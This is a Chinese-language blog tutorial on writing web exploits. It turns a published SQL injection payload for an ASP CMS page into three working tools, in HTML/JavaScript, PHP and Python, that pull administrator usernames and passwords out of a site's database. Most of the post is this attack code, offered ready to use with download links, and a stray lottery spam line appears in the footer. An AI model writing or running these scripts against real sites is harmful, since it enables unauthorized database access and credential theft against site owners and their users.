?

Sep 27 2018

WEB安全第七章exp編寫一

首頁 » 原創作品 » WEB安全第七章exp編寫一   

WEB安全第七章exp編寫簡單的exp編寫


https://www.exploit-db.com/ 漏洞庫里面 每天都可以很多新的漏洞發布。可是新的漏洞很多漏洞發布者 ,都是只給代碼漏洞部分,更多的是沒有詳細的分析。更別說是漏洞利用程序了。


掌握漏洞編寫的技能,隨心所欲地編寫漏洞利用程序,不僅能簡化測試過程,而且可以讓漏洞程序多種多樣滿足我們的需要。

一般的們多數接觸的是WEB安全漏洞 (Web Application Exploits)這類較多。一般只需理解和掌握http協議即可。

簡單的html基礎也可以編寫EXP了。下面我來為大家編寫一個簡單的exp。

既然是要寫exp 首先要發現一個漏洞吧。漏洞哪里找。各大漏洞發布站。

http://www.exploit-db.com/  https://www.seebug.org http://0day5.com/

例如我們知道某個CMS有個注入漏洞。漏洞發布者提供了利用代碼如下:

/ProductShow.asp?ID=105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,username%2bCHR(124)%2bpassword,16,17,18,19,20,21,22,23,24,25,26 from admin

1.jpg


只要把這段代碼放在URL里面測試就可以得到網站管理員的帳號和密碼。

根據這段利用代碼用html寫一個簡單的exp利用程序。



<!DOCTYPE html>
<!--
        作者:92moon.com
        時間:2018-08-22
        描述:html exp 編寫
-->
<html>
        <head>
                <script>
                        function exploit() {
                                var x= document.getElementById("url").value
                                var c = document.getElementById("myform").action=x+"/ProductShow.asp"
                                if(x){
                                        
                                        document.getElementById('myform').submit()
                                        
                                        }else{
                                                alert("填寫網址")
                                        }
                                
                                }
                
                </script>
                        
                <meta charset="UTF-8">
                <title></title>
        </head>
        <body>
                <form id="myform">
                        <input type="text" id="url" size="50px">
                        <input type="hidden" name="id" value="105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,username+CHR(124)+password,16,17,18,19,20,21,22,23,24,25,26 from admin">
                        <input type="button" value="利用" onclick="exploit()"/>
                </form>
        </body>
</html>
2.jpg


執行結果如果下面兩圖

3.jpg


4.jpg

exp下載 exp.rar


可以看到通過js和html的結合 一個簡單的html exp就編寫出來了。


5.jpg

通過wireshark 抓包工具 抓到的這些包,里面就是一些http信息。在用php編寫exp的時候這些包的信息就可以拿過來用了。



<?php
$site="www.asp.com";
$payload="ProductShow.asp?id=105+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2Cusername%2BCHR%28124%29%2Bpassword%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26+from+admin";
$fp = fsockopen($site, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET /{$payload} HTTP/1.1\r\n";
    $out .= "Host:{$site} \r\n";
    $out .= "Connection: keep-alive\r\n\r\n";
    $out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>



php exp 漏洞利用程序。php.exe exp.php 這樣會在cmd命令下獲取很多網頁源碼 

6.jpg


運行exp的時候最好能直接輸出所需的內容。

將exp.php再進行數據截圖。修改一些代碼即可。

payload漏洞利用代碼也要進行修改 方面進行數據截取,方法是用php正則函數preg_match() 正則 ~xxxxxxx~ 這個部分內容。


<?php
$site="www.asp.com";
$payload="ProductShow.asp?id=105+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2CCHR(126)%2Busername%2BCHR(124)%2Bpassword%2BCHR(126)%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26+from+admin";
$fp = fsockopen($site, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET /{$payload} HTTP/1.1\r\n";
    $out .= "Host:{$site} \r\n";
    $out .= "Connection: keep-alive\r\n\r\n";
    $out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        $html.= fgets($fp, 128);
    }
    fclose($fp);
    
    preg_match("/~(.*?)~/", $html,$hash);
    if ($hash){
            
            echo $hash[1];
    }else{
            echo "null";
    }
    
}

?>


exp.php下載 exp(1).rar


在php環境下運行如圖得到帳號和密碼。


7.jpg



用python編寫相對其他比較簡單 直接用包就 編寫幾行代碼能實現以上的功能。


    #coding:utf-8
    import urllib2
    import re

    #獲取payload源碼
    def get_page(url):
        payload='/ProductShow.asp?id=105+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2CCHR(126)%2Busername%2BCHR(124)%2Bpassword%2BCHR(126)%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26+from+admin'
        req = urllib2.Request(url+payload)
        response = urllib2.urlopen(req)
        page = response.read()
        return page

    #正則獲取帳號和密碼
    def exploit(url):
        html = get_page(url)
        try:
            m = re.search('~(.*?)~', html)
            return m.group(1)
        except:
            return ''
       
    url = 'http://www.asp.com/'
    print exploit(url)



exp.py 下載 exppy.rar

python exp.py 執行如圖

8c.jpg


下一篇 POST注入編寫 敬請期待。

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «WEB安全第七章exp編寫二 | 14億郵箱泄露密碼明文處理腳本»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖